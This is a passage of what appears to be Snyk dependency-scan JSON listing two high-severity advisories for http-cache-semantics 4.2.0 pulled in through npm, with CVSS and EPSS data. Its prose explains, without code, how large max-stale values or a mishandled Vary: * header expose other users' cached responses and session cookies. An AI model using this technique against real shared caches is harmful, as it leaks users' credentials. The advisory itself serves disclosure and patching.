"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmaccess@9.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmaccess@9.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmhook@11.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmhook@11.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
